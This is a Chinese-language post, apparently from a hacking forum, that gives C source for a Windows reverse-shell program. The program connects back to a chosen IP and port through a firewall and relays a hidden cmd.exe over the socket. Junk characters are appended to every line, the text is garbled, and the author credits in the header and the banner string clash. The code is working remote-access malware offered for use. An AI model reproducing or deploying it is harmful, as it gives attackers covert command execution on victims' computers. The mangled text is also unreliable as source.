这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KncoIw
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/* ============================== w%_BX3GTO
Rebound port in Windows NT bp$jD
By wind,2006/7 7.Mh$?;i9
===============================*/ R]Yhuo9,&n
#include =5|5j!i=q
#include rODKM-7+
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#pragma comment(lib,"wsock32.lib") V0AX1?H~ w
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void OutputShell(); |K_B{v.
SOCKET sClient; OWjZ)f/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $"FdS,*qKl
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void main(int argc,char **argv) CbHNb~
{ ^"l$p,P+
WSADATA stWsaData; J9 =gv0
int nRet; c'B"Onu@m*
SOCKADDR_IN stSaiClient,stSaiServer; E nvs[YZe
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if(argc != 3) ;gMh]$|"
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); mCGcM^21-x
return; UH.cn|R
} O%&@WrFq
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5 q ,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =eqI]rVj^
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stSaiClient.sin_family = AF_INET; fI1;&{f
stSaiClient.sin_port = htons(0); `+.I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QC4T=E]`j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [tzSr=,Cg
{ re!8nuBsA
printf("Bind Socket Failed!\n"); DH
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return; #& wgsGV8C
} a+/|O*>#
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stSaiServer.sin_family = AF_INET; i'wF>EBz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fqb$_>3Ol
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y/0O9}hf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N
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{ \=7=>x_
printf("Connect Error!"); @S7=6RKa[
return; V@:=}*E
} <S$21NtM87
OutputShell(); HiG/(<bs9O
} 5{q/z^]
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void OutputShell() ~Ls I<z
{ PAwg&._K
char szBuff[1024]; *'YNRM\}
SECURITY_ATTRIBUTES stSecurityAttributes; ZPsY0IzLo
OSVERSIONINFO stOsversionInfo; pqN[G=0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %`QsX {?,
STARTUPINFO stStartupInfo; )_e"Nd4
char *szShell; rp#*uV9;
PROCESS_INFORMATION stProcessInformation; }AW)R&m
unsigned long lBytesRead; :5M}Iz7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y] ]Vp~R:[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0~b6wuFl
stSecurityAttributes.lpSecurityDescriptor = 0; %]0U60
stSecurityAttributes.bInheritHandle = TRUE; k^5Rf
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G=!bM(]R~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UUf1T@-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V1nZ M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (vsk^3R[6
stStartupInfo.wShowWindow = SW_HIDE; kqigFcz!Y
stStartupInfo.hStdInput = hReadPipe; m2uML*&O5K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dh;Mp E
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GetVersionEx(&stOsversionInfo); `V):V4!j),
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switch(stOsversionInfo.dwPlatformId) R^M (fC
{ 2<o[@w
case 1: #X@<U <R
szShell = "command.com"; QGv:h[b_
break; @EP{VV
default: Ky9No"o
szShell = "cmd.exe"; ZYR,8 y
break; 2PP-0
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} KT;C RO>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e|5B1rMM
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send(sClient,szMsg,77,0); :KV,:13`D
while(1) S5E,f?l
{ S,Wl)\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K~y9zF{
if(lBytesRead) 3@TG.)N4
{ 18p3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v`+n`DT
send(sClient,szBuff,lBytesRead,0); ~?`9i>3W~
} `YmI'
else )_Xxk_
{ fv j5[Q
lBytesRead=recv(sClient,szBuff,1024,0); *Nf4bH%MN
if(lBytesRead<=0) break; "Yfr"1RmO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |+;K hC
} HDSA]{:sl
} kf^-m/
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return; LF9aw4:>Ou
}